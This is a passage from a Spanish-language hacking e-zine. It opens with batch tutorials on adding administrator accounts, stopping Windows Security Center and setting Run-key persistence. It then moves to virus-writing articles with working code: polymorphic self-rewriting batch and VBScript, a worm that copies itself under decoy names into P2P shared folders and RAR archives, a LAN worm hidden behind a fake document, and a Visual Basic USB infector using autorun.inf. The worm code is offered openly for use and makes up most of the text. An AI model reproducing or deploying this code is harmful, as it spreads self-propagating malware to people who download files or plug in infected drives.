If %resp%==0 goto exit
else goto menu

:bloc
cls
start notepad
goto menu
:word
cls
start wordpad
goto menu
:calc
cls
start calc
goto menu
:dir
cls
start wab
goto menu
:exit
exit

Explicacin:

Start notepad
Para iniciar la aplicacin del bloc de notas.
Start wordpad
Para iniciar la aplicacin de word pad.
Start calc
Para iniciar la aplicacin de la Calculadora de Windows.
Start wab
Para iniciar la aplicacin de la Libreta de Direcciones de
Outlook Express.

El Gran y poderoso Batch
Batch Avanzado , manipulacin del registro y del sistema.
hora aprenderemos todo lo relacionado a aadir claves al
registro desde un Batch y a utilizar el comando Net mas
profundamente.
Comando Net y su uso en Batch
En este tema aprenderemos a trabajar con el comando
NET que nos permitir manejar usuarios, activar y
desactivar opciones de seguridad entre otras muchas
cosas.
Aadiendo usuarios.
Aqu utilizaremos el comando NET USER para aadir
usuarios a nuestra PC (no ser posible cambiarle o elegir la
imagen). Para darle privilegios de administrador a un
usuario creado hay que ver el tema NET GROUP y grupos
de usuarios.

Cdigo:

net user Usuario "batch" /add
/expires:never

Explicacin:

net user Usuario "Batch" /addEn la parte donde dice
Usuario es donde se indica el nombre del usuario que
vamos a crear y entre las comillas (la lnea Batch)
indica el password del usuario, si se quiere crearlo sin
contrasea no se pone nada entre las comillas; y el /add
indica que es para crear ese usuario.
Borrando Usuarios
Aqu utilizaremos el comando NET USER para borrar
usuarios que hayamos creado con el comando NET USER o
con el menu de usuarios de Windows.

Cdigo:
Net User Usuario /delete

Explicacin:

Net User Usuario /delete
En donde dice usuario indicamos el usuario que deseamos
borrar y el parmetro /delete sirve para que borre el
usuario que hemos indicado.
NET GROUP y grupos de usuarios
Ahora utilizaremos el comando NET GROUP para cambiar
el grupo en el que se encuentra el usuario y los privilegios.

Cdigo:
net localgroup "Administradores"
User /add
/expires:never

Explicacin:

net localgroup "Administradores"
Con esto indicamos el grupo en el que se aadirn los
usuarios, para aadirlo en otro grupo hay que cambiar
"Administradores" por el grupo que queramos, para ver
mas grupos escribir en la consola: Net localgroup.
User /add
En lugar de User se pone el usuario al que queremos
cambiarle los privilegios.
NET STOP para parar la seguridad
Con el NET STOP podemos parar el Firewall o el Centro de
Seguridad de Windows, entre muchas cosas ms. Pero
aqu solo explicare como detener la Central de Seguridad.

Cdigo:

Net Stop Centro de Seguridad

Explicacin:

Net Stop Centro de SeguridadCon esto paramos la
Central de Seguridad que es la encargada de administrar
la seguridad (Firewall's, Antivirus, AntiSpyware), pero no
toda la seguridad porque si el antivirus esta programado
para que la Central no lo monitoree seguir funcionando.

Administracin del Registro
Aqu aprenderemos a aadir y borrar claves del registro
usando el comando REG. El registro es algo delicado as
que si se coloca algn cdigo mal podra causar el mal
funcionamiento de nuestra PC. Aqu solo se ensean a
aadir y borrar claves de la carpeta Run que es la
que arranca todo lo que este aadido en ella al iniciarse
la PC.
Introduccin al Batch 3a Parte CUH e-zine 4 edicin

Archivos al Inicio (Tcnica utilizando el registro)
Con esto podremos hacer que nuestros Batch se
arranquen al iniciar Windows. Y es ms til que la opcin
de la carpeta del Menu Inicio.
Las carpetas usadas son carpetas del registro y por lo
tanto se pueden administrar y ver solo con el comando
REG o con el Administrador de Registro (regedit).
Cdigo:
Reg Add
HKML\Software\Microsoft\Windows\CurrentVersion\Run
/v Nombre /t REG_SZ /d C:\RutadelBatch.bat [/f]

Explicacin:

Reg Add
HKML\Software\Microsoft\Windows\CurrentVersi
on\Run /v Nombre /t REG_SZ /d
C:\RutadelBatch.bat /f
En donde dice Nombre lo substituimos por el nombre que
queramos para que aparezca en el Batch y en
C:\RutadelBatch.bat es la ruta y el nombre de el
Batch, ej: C:\Documments and
Settings\Usuario\Mis Documentos\super batch.bat
Borrando las claves
Con el comando REG DELETE les enseare a borrar un
archivo que hayamos aadido al inicio (carpeta Run).
Cdigo:
Net delete
HKML\Software\Microsoft\Windows\CurrentVersion\Run
Nombre /va [/f]
Explicacin:
Net delete
HKML\Software\Microsoft\Windows\CurrentVersi
on\Run Nombre /va /f
En lugar de nombre se pone el nombre que elegimos para
la clave.

Herramientas y Curiosidades

Herramientas para mejorar la calidad de nuestros Batch y otras
curiosidades.

De ahora en adelante solo hablaremos de diferentes
herramientas para los batchs as como curiosidades sobre
Batch.

Compiladores y Lenguajes de Cmputos

Con los compiladores podemos hacer que nuestro Batch
(Archivo en lotes MS-Dos) se convierta en un
ejecutable, tambin como habrn visto el Batch es de
cdigo abierto (pones en lugar de abrir, editar y vez el
cdigo) al convertirlo en ejecutable no se podr ver ni
editar y as impedimos

que nos copien el cdigo de nuestro Batch. tambin hay
compiladores que le cambian el icono. Estas
herramientas nos dan una gran ventaja, adems que
los ejecutables trabajan con cmputos (su cdigo lleva
solo 0 y 1) entonces para hacerlos nos volveramos
locos.
Fast Exe-Batch Maker (De mi amigo Hendrix)
Les voy a recomendar el Fast Exe-Batch Maker de mi
colega de programacin Hendrix, esta muy bueno y les
dejare la primera versin junto con el paquete para que
puedan utilizarla en sus batchs.

Modo GHOST?
El modo GHOST es el modo oculto, en los batchs sirve
para que no aparezca la ventanita negra (es til para los
virus). Los compiladores casi todos tienen modo GHOST y
al compilarlos se puede elegir el modo GHOST para
nuestros Batch (el Fast Exe-Batch Maker tiene compilacin
en modo GHOST).


Otras Herramientas
IExpress (Herramienta Windows)
El IExpress es una herramienta de Windows que permite
crear paquetes
Quizs se pregunten -para qu me sirve a mi un
paquete?, pues para que luego de desempaquetar el
paquete que contenga nuestro Batch, se auto-ejecute, y
servir para crear un Batch semi-ejecutable (al
desempaquetarlo seguir siendo Batch) y ser de cdigo
abierto. A continuacin mostrare los pasos para utilizar
nuestro Batch con el IExpress.
Pasos:
Clic en el menu inicio, se elige la opcin Ejecutar
y se escribe IExpress(y obvio, se presiona enter)
.
Elegir la opcin Create new Self Extraction
Directive File, con esto se creara un nuevo
paquete.


Luego Extract files only para poder poner el
archivo .bat .

Introduccin al Batch 3a Parte CUH e-zine 4 edicin


Si pide el titulo poner cualquiera (porque no
aparecer en el paquete).



En la confirmacin del prompt, elegir no prompt
y en la licencia Do not display a license.
En la parte de PACKAGE FILES, utilizar la opcin
add y buscar y poner nuestro Batch. Se pueden
poner varios.


Luego les dara varias opciones, hay que elegir
Hidden para que no muestre dialogo de
instalacin.
En la siguiente ventana se elige no message.
En PACKAGE NAME AND OPTIONS seleccionar la
opcin Hide File Extracting Animation from User
y en la parte de texto colocar el nombre del
archivo de paquete (.sed).


Editor MS-Dos

El Clsico editor
MS-Dos (edit)
que
quizs les
resulte muy
conocido,
tambin sirve
para crear
nuestros
batchs y es
una
herramienta muy fcil de usar. Para acceder a ella es solo
escribir edit en la consola, programar nuestro Batch y
guardarlo con extensin .bat. Para entrar en modo
monocromtico (Blanco y Negro) escribir: Edit /B.

Por el momento es todo , espero que lo hayan disfrutado y
hasta la prxima edicin
Furious Dami




Tcnicas de programacin de Scripts CUH e-zine 4 edicin





Tcnicas de programacin de Scripts

En este tuto se vern algunas tcnicas medio-
avanzada representadas en cdigos fuente
explicado. Esta pensado para gente que sepa
lenguajes script, principalmente batch.

1. Polimorfismo

Esta tcnica consiste en implementar un tipo de
inteligencia artificial al programa la cual se
encargara de cambiar partes significativas de su
mismo cdigo cada ves que este sea ejecutado.
Es una tcnica muy til y utilizada en la
programacin de virus.

Veremos un ejemplo:

@echo off %ini%
echo Mutando... %ini%
find "ini"<%0>$ %ini%
:rnd_b %ini%
call :rnd %ini%
:buc %ini%
find "m%r: =%"<$>nul %ini%
if %errorlevel%==0 goto :tst %ini%
find "m%r: =%"<%0>>$ %ini%
:tst %ini%
set a=1 %ini%
for /L %%a in (0,1,9) do call :cmp %%a %ini%
echo %a%|find "o">nul %ini%
if %errorlevel%==0 goto :rnd_b %ini%
set a1=cmp %ini%
set a2=rnd %ini%
find "m%a1: =%"<%0>>$ %ini%
find "m%a2: =%"<%0>>$ %ini%
type $>%0 %ini%
exit %ini%
:: CODIGO POLIMORFICO [INICIO] %ini%
:: %m0%
:: %m1%
:: %m2%
:: %m3%
:: %m4%
:: %m5%
:: %m6%
:: %m7%
:: %m8%
:: %m9%
:: CODIGO POLIMORFICO [FIN] %mcmp%
:cmp %mcmp%
find "m%1"<$>nul %mcmp%
if %errorlevel%==1 ( %mcmp%
set a=%a%o %mcmp%
goto :EOF %mcmp%
) else ( %mcmp%
set a=%a%x %mcmp%
goto :EOF %mcmp%
) %mcmp%
:rnd %mrnd%
set r=%random:~1,1% %mrnd%
goto :EOF %mrnd%

El programa cambia la parte del code:

:: %m0%
:: %m1%
:: %m2%
:: %m3%
:: %m4%
:: %m5%
:: %m6%
:: %m7%
:: %m8%
:: %m9%

cada vez que este se ejecuta, de forma
aleatoria, es decir, si el cdigo original es:

@echo off %ini%
echo Mutando... %ini%
find "ini"<%0>$ %ini%
:rnd_b %ini%
call :rnd %ini%
:buc %ini%
find "m%r: =%"<$>nul %ini%
if %errorlevel%==0 goto :tst %ini%
find "m%r: =%"<%0>>$ %ini%
:tst %ini%
set a=1 %ini%
for /L %%a in (0,1,9) do call :cmp %%a %ini%
echo %a%|find "o">nul %ini%
if %errorlevel%==0 goto :rnd_b %ini%
set a1=cmp %ini%
set a2=rnd %ini%
find "m%a1: =%"<%0>>$ %ini%
find "m%a2: =%"<%0>>$ %ini%
type $>%0 %ini%
exit %ini%
:: CODIGO POLIMORFICO [INICIO] %ini%
:: %m0%
:: %m1%
:: %m2%
:: %m3%
:: %m4%
:: %m5%
Tcnicas de programacin de Scripts CUH e-zine 4 edicin


:: %m6%
:: %m7%
:: %m8%
:: %m9%
:: CODIGO POLIMORFICO [FIN] %mcmp%
:cmp %mcmp%
find "m%1"<$>nul %mcmp%
if %errorlevel%==1 ( %mcmp%
set a=%a%o %mcmp%
goto :EOF %mcmp%
) else ( %mcmp%
set a=%a%x %mcmp%
goto :EOF %mcmp%
) %mcmp%
:rnd %mrnd%
set r=%random:~1,1% %mrnd%
goto :EOF %mrnd%

Puede ser que despus de ejecutarse quede as:

@echo off %ini%
echo Mutando... %ini%
find "ini"<%0>$ %ini%
:rnd_b %ini%
call :rnd %ini%
:buc %ini%
find "m%r: =%"<$>nul %ini%
if %errorlevel%==0 goto :tst %ini%
find "m%r: =%"<%0>>$ %ini%
:tst %ini%
set a=1 %ini%
for /L %%a in (0,1,9) do call :cmp %%a %ini%
echo %a%|find "o">nul %ini%
if %errorlevel%==0 goto :rnd_b %ini%
set a1=cmp %ini%
set a2=rnd %ini%
find "m%a1: =%"<%0>>$ %ini%
find "m%a2: =%"<%0>>$ %ini%
type $>%0 %ini%
exit %ini%
:: CODIGO POLIMORFICO [INICIO] %ini%
:: %m2%
:: %m3%
:: %m9%
:: %m4%
:: %m7%
:: %m8%
:: %m1%
:: %m6%
:: %m0%
:: %m5%
:: CODIGO POLIMORFICO [FIN] %mcmp%
:cmp %mcmp%
find "m%1"<$>nul %mcmp%
if %errorlevel%==1 ( %mcmp%
set a=%a%o %mcmp%
goto :EOF %mcmp%
) else ( %mcmp%
set a=%a%x %mcmp%
goto :EOF %mcmp%
) %mcmp%
:rnd %mrnd%
set r=%random:~1,1% %mrnd%
goto :EOF %mrnd%

Ahora la explicacion del code:

::inicio del code. . .
@echo off %ini%
echo Mutando... %ini%
::busca la cadena ini en el archivo y la manda a
$
find "ini"<%0>$ %ini%
::llama a la funcion :rnd para generar en %r% un
numero
:rnd_b %ini%
call :rnd %ini%
::se busca el %0 (nuestro archivo original) la
cadena m+[numero aleatorio generado]
:buc %ini%
find "m%r: =%"<$>nul %ini%
::si se encontro va a la etiqueta :tst
if %errorlevel%==0 goto :tst %ini%
::sino busca la cadena en %0 y la guarda en $
(un archivo temporal)
find "m%r: =%"<%0>>$ %ini%
::la funcion tst es un bucle for que da los
numeros 0-9 a la funcion cmp
:tst %ini%
set a=1 %ini%
for /L %%a in (0,1,9) do call :cmp %%a %ini%
::como en la funcion cmp se establece %a%, aki
se busca en la cadena o en la variable %a%
echo %a%|find "o">nul %ini%
::si la encuentra, regresa a la etiqueta :rnd_b
if %errorlevel%==0 goto :rnd_b %ini%
::sino entoncs busca las funciones restantes (las
que estan al final del code) y las mete en $
set a1=cmp %ini%
set a2=rnd %ini%
find "m%a1: =%"<%0>>$ %ini%
find "m%a2: =%"<%0>>$ %ini%
::escribe todo lo que hay en $ en %0 y sale
type $>%0 %ini%
exit %ini%
::aki se muestra la seccion poliformica del code
:: CODIGO POLIMORFICO [INICIO] %ini%
:: %m0%
:: %m1%
:: %m2%
:: %m3%
:: %m4%
Tcnicas de programacin de Scripts CUH e-zine 4 edicin


:: %m5%
:: %m6%
:: %m7%
:: %m8%
:: %m9%
:: CODIGO POLIMORFICO [FIN] %mcmp%
::la funcion :cmp se encarga de ver que modulos
poliformicos (m1, m2, m3, ) ya an sido copiados
a $
:cmp %mcmp%
find "m%1"<$>nul %mcmp%
::si el modulo se encuentra ya presente, se
agrega la cadena x a la variable %a%, si no se
encuentra, se agrega la cadena o
if %errorlevel%==1 ( %mcmp%
set a=%a%o %mcmp%
goto :EOF %mcmp%
) else ( %mcmp%
set a=%a%x %mcmp%
goto :EOF %mcmp%
) %mcmp%
::genera el numero aleatorio
:rnd %mrnd%
set r=%random:~1,1% %mrnd%
goto :EOF %mrnd%

Un punto importante a recalcar es que la funcin
a copiar la identifico poniendo en cada lnea que
le pertenece una marca de la forma de una
variable . . .

Ejemplo:
:rnd %mrnd%
set r=%random:~1,1% %mrnd%
goto :EOF %mrnd%

Ahora veamos otro ejemplo, algo mas sencillo,
hecho en Visual Basic Script:

Teoria: Generar nombre aleatorios y reemplazar
las variables existentes por los nombres
generados.


Randomise
Rem bucle donde generamos los nombre
aleatorios
for iaec=1 to 5
ivarec2=chr(int(20*rnd)+97)
ivarec3=chr(int(20*rnd)+97)
ivarec4=chr(int(20*rnd)+97)
ivarec5=chr(int(20*rnd)+97)
ivarec6=chr(int(20*rnd)+97)
ivarec7=chr(int(20*rnd)+97)
ivarec8=chr(int(20*rnd)+97)
toivarec2=ivarec2&toivarec2
toivarec3=ivarec3&toivarec3
toivarec4=ivarec4&toivarec4
toivarec5=ivarec5&toivarec5
toivarec6=ivarec6&toivarec6
toivarec7=ivarec7&toivarec7
toivarec8=ivarec8&toivarec8
next
rem Establecemos variables necesarias
set fso=createobject("scripting.filesystemobject")
set
fileall=fso.opentextfile(wscript.scriptfullname,1,fal
se)
rem En la variable nufile se encuentra el codigo
del programa
nufile=fileall.readall
rem Reemplazamos la cadena ivarec por la
cadena que contiene la variable toivarec2, y asi
sucesivamente con todas las cadenas que se
quieran reemplazar
nufile=replace(nufile,"ivarec",toivarec2)
nufile=replace(nufile,"toivarec",toivarec3)
nufile=replace(nufile,"fso",toivarec4)
nufile=replace(nufile,"fileall",toivarec5)
nufile=replace(nufile,"iaec",toivarec6)
nufile=replace(nufile,"nufile",toivarec7)
nufile=replace(nufile,"xsiv",toivarec8)
rem en xsiv esta el archivo listo para escribir
sobre el.
set
xsiv=fso.opentextfile(wscript.scriptfullname,2,fals
e)
rem escribimos lo que contiene la variable nufile
en nuestro archivo
xsiv.write nufile
rem y cerramos.
xsiv.close

2. Propagacin por clientes P2P e infeccin
de .rar

Esta tcnica consiste en infectar las carpetas
compartidas de todos los clientes de redes P2P
(eMule, Shareaza, BearShare, edonkey y
limeware [la lista puede ser modificada]) y
archivos .rar dentro de estas, que estn
contenidas en la pc victima.

La siguiente funcin tiene la capacidad de hacer

:p2p
:: Hacemos una comprobacion de archivos (logica
del programa)
if exist %windir%\t.rar (del %windir%\t.rar)
Tcnicas de programacin de Scripts CUH e-zine 4 edicin


:: Copiamos todo el codigo del programa al
archive op.bat
type %0>op.bat
:: Establecemos en %o% nuestra ruta y nombre
set o="%systemdrive%%~p0op.bat"
:: Nos posicionamos en la ruta donde fuimos
ejecutados
cd "%systemdrive%%~p0"
:: La lista de clientes se va a %windir%\yer.t
echo eMule\Incoming\ > %windir%\yer.t
echo Shareaza\Downloads\ >> %windir%\yer.t
echo BearShare\Shared\ >> %windir%\yer.t
echo EDONKEY2000\incoming\ >>
%windir%\yer.t
echo LimeWire\Shared\ >> %windir%\yer.t
:: La lista de nombres ficticios (seuelos) se va a
%windir%\jer.t
echo Path_msn_Emoticonos > %windir%\jer.t
echo sms_gratis >> %windir%\jer.t
echo polifonicos_free >> %windir%\jer.t
echo Microsoft_Office_2007_all_serials >>
%windir%\jer.t
echo Windows_Vista_activation_tool >>
%windir%\jer.t
echo Windows_Vista_all_serials >>
%windir%\jer.t
echo MSN_hack_codes >> %windir%\jer.t
:: Se establecen las variables que contienen la
informacin del winrar
set rc=1
set r="%programfiles%\WINRAR\WinRAR.exe"
:: Probamos el ejecutable del winrar para estar
seguros de que el programa esta intalado en la pc
%r% a %windir%\t.rar %o%
if not %errorlevel%==9009 set rc=0
goto fr
:: la funcion fr2 se encarga tomar la lista de
nombres dados para copiarse en los clientes con
esos nombre
:fr2
set uno=%1
:: Toma la lista de nombres
for /F "tokens=* delims=" %%g in
(%windir%\jer.t) do (
:: si el winrar esta instalado
if %rc%==0 (
:: Se copia el mismo con el nombre dado en el
cliente actual
@copy /y %o% "%%g.bat"
cls
ping -n 2 localhost > nul
:: Se copia el mismo en archivos .rar con los
nombres
%r% a "%%g.rar" "%%g.bat"
)
)
goto :EOF
:: la funcion :fr coge las lista de clientes que se
encuentra en el archivo yer.t
:fr
for /F "tokens=* delims=" %%a in
(%windir%\yer.t) do (
:: verifica la existencia del cliente en la pc
if exist "%programfiles%\%%a" (
:: Si el cliente en cuestion esta instalado, cambia
el directorio local a su directorio
cd "%programfiles%\%%a"
:: Por cada .rar
for %%e in (*.rar) do (
:: se copia el mismo al directorio con el mismo
nombre del .rar
@copy /y %o% "%%~ne.bat"
cls
ping -n 2 localhost > nul
:: se introduce el mismo en el .rar en cuestion
%r% a "%%e" "%%~ne.bat"
)
:: llama la funcion fr2 usando como primer y
unico parmetro el cliente actual del for
call :fr2 %%a
)
)
Pause
:: termina la infeccion, eliminando algunos
archivos innecesarios
cd %windir%
del *.t
cd "%systemdrive%%~p0"
del op.bat
goto :EOF


3. Propagacin por LAN

Teoria: Crear carpetas y compartirlas mediante el
comando net share.

@echo off
:: Verifica que el programa a sido llamado de
forma oculta
if '%1==' goto ht
:: Verifica que existela carpeta de infeccion
if exist "%homedrive%\Calificaciones" exit
:: se crean las variables que contienen los
nombres de las carpetas a crear
set a=Calificaciones
set b="7mo_grado"
set c="8vo_grado"
set d="9no_grado"
set e="10mo_grado"
Tcnicas de programacin de Scripts CUH e-zine 4 edicin


set f="11vo_grado"
set g="12vo_grado"
set i=%homedrive%\ju.ki
cd\
:: Se copia un archivo de restauracin
type %0>ju.ki
:: Se crea la carpeta de infeccion
mkdir %a%
cd %a%
:: por cada variable que contiene las carpetas a
infectar se crean las carpetas
for %%e in (%b% %c% %d% %e% %f% %g%)
do mkdir %%e
:: se manda la lista de las carpetas a un archivo
temporal
dir /b > %temp%\lst.jkl
:: por cada carpeta en el archivo creado manda la
informacin a la funcion :cop
for /f "tokens=* " %%f in (%temp%\lst.jkl) do
call :cop %%f
:: se comparte la carpeta de infeccion
net share Notas="%homedrive%\Calificaciones"
exit

:cop
:: se establece la siguiente carpeta a infectar
set target=%1
cd "%target%"
:: se copia el mismo en la carpeta a infectar
type %i%>"notas.cmd"
:: vuelve a la carpeta de infeccion
cd %homedrive%\%a%
goto :EOF

:ht
:: se crea un archivo .doc que simula la ejecucin
de un documento normal
echo MATERIA > notas.doc
echo. >> notas.doc
echo Nombre ^|
Calificaciones >> notas.doc
:: se crea un script vbs donde se llama el mismo
en forma oculta
echo set shell = CreateObject("wscript.shell") >
r.vbs
echo shell.run "cmd /c "%0" vir", vbHide >> r.vbs
:: se ejecuta el vbs
start r.vbs
:: se ejecuta el documento creado
start notas.doc
exit

4. Funciones de identificacin
Aki veremos algunas funciones que nos permitirn
tener un concepto del uso de varias tcnicas

La siguiente funcin toma una cadena de texto y
la invierte de forma que si llegara a tomar la
cadena hola devolvera la cadena aloh.

@echo off
::Parametros: %1=cadena
::Devuelve: %ohce%=cadena invertida
:ohce
::Se limpian algunas variables
set wrd=
set ohce=
::verifica que la funcion no a sido llamada con un
valor nulo
if %1'==' goto er_o
::se establece la cadena introducida
set wrd=%1
set wrd=%wrd:"=cnf%
::se llama la funcion :len que devolvera la
cantidad de caracteres que contiene la cadena
call :len %wrd%
::se prepara la variable de cantidad
set /a len=%len%-1
::se ace un bucle de forma regresiva
for /l %%a in (%len%,-1,0) do (
::llama la funcion st
call :st %%wrd:~%%a,1%%
)
::se prepara la variable para la salida
set ohce=%ohce:"=%
set ohce=%ohce:fnc="%
echo %ohce%
goto :EOF
:st
::la funcion st estable el valor de la variable que
contiene la cadena invertida
set p1=%1
set ohce=%ohce%%p1%
goto :EOF
:len
::la funcion :len calcula la cantidad de caracteres
que contiene la cadena que se le da
::verifica que la funcion no haya sido llamada con
un valor nulo
if %1'==' echo La sintaxis es: len [cadena] &&
goto :EOF
::se establecen algunas variables
set w=%1
set a=0
set bol=0
:lp
::se llama la function cnt
call :cnt "%%w:~%a%,1%%" %a%
if %bol%==1 goto :EOF
set /a a=%a%+1
Tcnicas de programacin de Scripts CUH e-zine 4 edicin


goto lp
::la funcion cnt se encarga de verificar si la
cadena que le dan es nula, si lo es establece una
variable que parara el el contador
:cnt
set cur=%1
set len=%2
::si la variable es nula, se establece la variable
if %cur%a==""a (
set bol=1
)
goto :EOF
:er_o
::mensaje de error
echo La sintaxis es: h2d [cadena]
goto :EOF

The Shadow
shadow@el-hacker.org
Infectar unidades USB CUH e-zine 4 edicin





Este es un artculo creado exclusivamente para CUH E-
Zine y se encuentra bajo licencia Creative Commons
(http://creativecommons.org/licenses/by/3.0).

Comencemos viendo algunos aspectos de lo que es
USB.


Pues USB seria tericamente un puerto de la CPU, su
traduccin seria Bus Universal de Serie (en ingles seria
Universal Serial Bus). Este puerto tiene la capacidad de
conectar, entre otras cosas, unidades de
almacenamiento masiva de datos, como son los
PenDrivers, MP3, MP4, etc. Estas unidades, como bien
dije permiten almacenar cosas, por supuesto que en
ficheros.


Lo que haremos nosotros ser infectar esta unidad, as
como se infecta un sistema. La infeccin en s es muy
sencilla, solo nos debemos copiar en la unidad. Pero
nuestro fin no es infectar, sino reproducirnos a travs
de la infeccin, y si solo nos copiamos, no podemos
estar seguros que podremos infectar otro sistema.
Ahora si nos ponemos a pensar un poco, los CDs de
instalacin (entre otros) logran ejecutar cierto fichero al
introducir el disco en la compactera (unidad de CD).
Esto se logra gracias al fichero Autorun.inf. Este
pequeo amigo corresponde a Windows, y hace que al
ser ledo por l ejecute sus sentencias. El fichero
Autorun.inf puede contener varias sentencias pero
nosotros solo utilizaremos una, que nos permitir
ejecutar un fichero al introducir la unidad en la CPU (es



decir, cuando Windows lea la unidad).

Ya basta de hablar, vamos a hacer algo! Debemos,
antes que nada, obtener las unidades:

Vamos a utilizar un Timer, y este ser el nico control
que aadiremos al proyecto. Le dejaremos su nombre
por defecto, y a su propiedad interval le daremos
valor: 1000, que serian 1000 milisegundos, lo que
equivale a 1 segundo.

La funcin del timer ser recorrer las unidades, para
encontrar aquellas que sean removibles o CDs y sean
de lectura/escritura, y como ultima condicin, la
funcin va revisar que la unidad este lista, si todo esto
se cumple, le pasamos el trabajo a otra funcin
Tambin vamos a trabajar con el objeto
FileSystemObject, pero lo que haremos ser agregarlo
desde las referencias, esto ser mejor que el tpico Set
fso = CreateObject(Scripting.FileSystemObject) ya
que este ultimo crea el objeto en tiempo de ejecucin,
lo que no nos permitira comprobar errores hasta la
ejecucin de la aplicacin. Por contrario, al agregarlo
como referencia, podremos ver en tiempo de diseo las
variadas opciones que ofrece el objeto luego del
operador punto (.)
Para agregar el objeto desde la referencia, nos vamos
a: ProyectoReferenciasMicrosoft Scripting Runtime
y le damos a Aceptar.



Infectar unidades USB CUH e-zine 4 edicin



Ahora ya podemos comenzar a trabajar, nos ubicamos
en el evento Timer del Timer1:

Private Sub Timer1_Timer()

End Sub

Aplicamos el objeto:

Dim fso As New FileSystemObject
(Como si estuviramos haciendo la declaracin de una
variable normal)

Y hasta aqu llegamos
Ahora agregaremos un modulo al proyecto



y declararemos las siguientes APIs y constantes:

Public Declare Function GetLogicalDriveStrings Lib
"kernel32" Alias "GetLogicalDriveStringsA" (ByVal
nBufferLength As Long, ByVal lpBuffer As String) As
Long
Public Declare Function GetDriveType Lib "kernel32"
Alias "GetDriveTypeA" (ByVal nDrive As String) As Long
Public Const DRIVE_CDROM = 5
Public Const DRIVE_REMOVABLE = 2

Listo, volvemos al formulario, y vamos a declarar 2
variables mas, la variable Drv de tipo String, y la
variable NWDrv (no le aplicamos ningn tipo) As
que el cdigo en el formulario nos quedara as:

Private Sub Timer1_Timer()
Dim fso As New FileSystemObject
Dim Drv As String
Dim NWDrv
End Sub

La API GetLogicalDriveStrings nos va a devolver todas
las unidades disponibles en el sistema. Antes vamos a
darle un valor a la variable Drv, le vamos a dar una
cadena con 100 espacios:

Drv = Space(100)

Ahora vamos a usar la API antes mencionada para
obtener un nmero entero que corresponder a las
unidades:

Rt = GetLogicalDriveStrings(Len(Drv), Drv)

As que en la en la variable Drv vamos a tener las
unidades, una al lado de la otra... Pero separadas por
un smbolo, as que para obtenerlas vamos a hacer un
bucle, el cual aremos de 4 en 4:

For i = 1 To Rt Step 4

Next i

As, utilizando Mid podemos extraer una por una las
unidades en su orden correspondiente:

Drn = Mid(Drv, i, 3)

Hasta aqu pudimos obtener la unidad y la
almacenamos en la variable Drn, ya van 3 variables
que no he declarado al principio (i, Rt y Drn), pero lo
har luego
Con la API GetDriveType podremos saber el tipo de
unidad al que corresponde la actual (ubicada en la
variable Drn). Si el tipo de unidad es DRIVE_CDROM
(cuyo valor numrico es 5) o DRIVE_REMOVABLE (cuyo
valor numrico es 2), significa que podemos seguir:

If GetDriveType(Drn) = DRIVE_REMOVABLE Or
GetDriveType(Drn) = DRIVE_CDROM Then

End if

Ahora, si esta condicin nos fue favorable, seguiremos,
y lo que debemos hacer es comprobar si la unidad esta
lista para copiar. Para eso primero debemos aplicar la
variable como objeto y luego comprobarlo (observa que
al objeto fso le debemos dar la unidad pero no
completa, con los dos puntos y la barra invertida, sino
la letra sola, luego el objeto la devuelve con los dos
puntos, pero sin la barra):

Set Unidad = fso.GetDrive(Left(Drn, 1))
If Unidad.IsReady = True Then
End If

Perfecto, hasta aqu estamos bien, si la unidad ubicada
en la variable Unidad esta lista, seguimos, y seguimos
pasndole el trabajo a otra funcin. A esta funcin la
Infectar unidades USB CUH e-zine 4 edicin

limaremos InfecDrive y recibir como parmetro la
unidad a infectar, la misma se pasara como cadena

Call InfecDrive(Unidad & \)

As que el cdigo del evento del Timer1 nos quedara
as:

Private Sub Timer1_Timer()
Dim fso As New FileSystemObject
Dim Drv As String
Dim NWDrv

Drv = Space(100)

Rt = GetLogicalDriveStrings(Len(Drv), Drv)

For i = 1 To Rt Step 4
Drn = Mid(Drv, i, 3)

If GetDriveType(Drn) = DRIVE_REMOVABLE Or
GetDriveType(Drn) = DRIVE_CDROM Then
Set Unidad = fso.GetDrive(Left(Drn, 1))
If Unidad.IsReady = True Then
Call InfecDrive(Unidad & \)
End If
End if
Next i
End Sub

Ahora vamos a programar la funcin que se encargara
de infectar la unidad, no es nada complicado, solo
debemos crear un Autorun programado para ejecutar
nuestra aplicacin cada vez que la unidad sea
ejecutada, y luego debemos copiarnos en dicha unidad:

Private Sub InfecDrive(Drve As String)

End Sub



Veamos, El Autorun.inf siempre se ubica en la raz de la
unidad en la que se encuentra. Nosotros vamos a
utilizar la sentencia Open, esta sentencia va seguida
de un igual (=) y despus del signo igual va la ruta de
la aplicacin a ejecutar. La ruta se toma desde la raz
de la unidad, pero no se pone la misma, es decir que si
nuestra aplicacin se encontrara en la raz de la unidad,
el Autorun.inf contendr esto:

[AutoRun]
Open=VIRUS.EXE

El problema con esto, es que casi siempre el archivo
Autorun tiene atributo de oculto y/o solo lectura, esto
hace que no lo podamos modificar o sustituir por el
nuestro. As que lo que haremos, ser verificar si existe
el archivo Autorun en la raz de la unidad, y si existe le
vamos a dar atributo Normal:

If Dir(Drve & "autorun.inf") <> "" Then
SetAttr Drve & "autorun.inf", 0
End If

Ahora ya podemos modificar el archivo Autorun si es
que existe, si no existe simplemente lo creamos. Ya es
hora de copiarnos, por lo general a la hora de copiar se
utilizan nombres que no llamen mucho la atencin,
pero mi objetivo no es este, as que yo utilizare un
nombre comn: Autorun.exe:

FileCopy App.Path & \ & App.EXEName & .exe, Drve
& \Autorun.exe

Ya estamos sobre el final, nos resta crear el archivo
Autorun.inf, y aplicarle a este y a la copia de nuestra
aplicacin atributos de ocultos y solo lectura
Creamos el Autorun:

Open Drve & "autorun.inf" For Output As #1
Print #1, "[Autorun]"
Print #1, "Open=autorun.exe"
Close #1

Le aplicamos los atributos y listo :

SetAttr Drve & "autorun.exe", 1 + 2
SetAttr Drve & "autorun.inf", 1 + 2

As que el cdigo de la funcin nos quedo as :

Private Sub InfecDrive(Drve As String)
If Dir(Drve & "autorun.inf") <> "" Then
SetAttr Drve & "autorun.inf", 0
End If
FileCopy App.Path & \ & App.EXEName & .exe, Drve
& \Autorun.exe
Open Drve & "autorun.inf" For Output As #1
Print #1, "[Autorun]"
Print #1, "Open=autorun.exe"
Close #1
SetAttr Drve & "autorun.exe", 1 + 2
SetAttr Drve & "autorun.inf", 1 + 2
End Sub


Espero les haya servido, cabe recalcar que la infeccin
de unidades extrables para la propagacin de gusanos
abarca mas de lo que se vio en este articulo, la mayora
de los programadores hacen de gran prioridad la
ocultacin del gusano dentro de la unidad. Utilizando
mtodos avanzados, verdaderamente buenos, con
muchas formas de lograr que el usuario desinfecte su
